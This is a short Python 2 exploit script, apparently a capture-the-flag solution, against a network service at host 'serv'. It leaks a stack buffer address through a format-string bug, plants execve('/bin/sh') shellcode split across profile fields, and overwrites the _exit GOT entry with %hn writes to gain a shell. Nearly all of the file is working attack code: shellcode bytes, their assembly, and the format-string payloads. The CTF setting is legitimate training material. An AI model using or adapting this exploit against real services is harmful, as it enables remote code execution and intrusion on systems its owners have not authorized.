# -*- coding: utf-8 -*-
import socket
import struct
target_ip = "serv"
target_port = 12345
'''
len of first part of the shellcode should be < 20
we use \xeb\x01 (jmp+1) to join the two parts
of the shellcode
for this chall a bind shellcode is more appropriate than
a /bin/sh
xor %eax,%eax
push %eax
push $0x68732f2f
push $0x6e69622f
mov %esp,%ebx
push %eax
push %ebx
mov %esp,%ecx
mov $0xb,%al
int $0x80
char *shellcode = "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69"
"\x6e\x89\xe3\x50\x53\x89\xe1\xb0\x0b\xcd\x80";
'''
sc1 = "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\xeb\x01"
sc2 = "\x89\xe1\xb0\x0b\xcd\x80"
sc_status = "AAAA" + "\n"
sk = socket.socket(socket.AF_INET6, socket.SOCK_STREAM)
sk.connect((target_ip, target_port))
# welcome
print sk.recv(4096)
# send nick
nick = "jojo\n"
sk.send(nick)
print sk.recv(4096)
# retrieve buffer addr :
tweet = "\x32"+"\n"
sk.send(tweet)
print sk.recv(4096)
# mem leak
mem_leak = "%08x\n"
sk.send(mem_leak)
data = sk.recv(4096)
addr_pos = data.find("\x0a\x0a\x0a")
addr_buf_str = data[addr_pos+3:addr_pos+3+8].decode("hex")
addr_buff = struct.unpack(">I", addr_buf_str)[0]
print "buffer_addr = " + hex(addr_buff)
# we put our shellcode divided in two parts
# edit profile
cmd = "\x31"+"\n"
sk.send(cmd)
print sk.recv(4096)
# send nick sc
sk.send(sc1)
print sk.recv(4096)
# send website sc
sk.send(sc2)
print sk.recv(4096)
# send status sc
sk.send(sc_status)
print sk.recv(4096)
tweet = "\x32"+"\n"
sk.send(tweet)
print sk.recv(4096)
tweet = "\x32"+"\n"
sk.send(tweet)
print sk.recv(4096)
addr_high = addr_buff >> 16
addr_low = addr_buff & 0xFFFF
print "addr_high = " + hex(addr_high)
print "addr_low = " + hex(addr_low)
# send fmt_string
# use twice printf format string
# HIGH(@_exit) = 0x8049bfe
# LOW(@_exit) = 0x8049bfc
# rewrite _exit with addr_buff
fmt_string = "aa" + struct.pack("<I", 0x8049bfc) + "%" + str(addr_low-6) + "c%5$hn\n"
sk.send(fmt_string)
print sk.recv(4096)
print data
tweet = "\x32"+"\n"
sk.send(tweet)
print sk.recv(4096)
fmt_string = "aa" + struct.pack("<I", 0x8049bfe) + "%" + str(addr_high-6) + "c%5$hn\n"
sk.send(fmt_string)
print sk.recv(4096)
print "launch shellcode -> call _exit"
tweet = "\x33"+"\n"
sk.send(tweet)
print sk.recv(4096)
sk.close()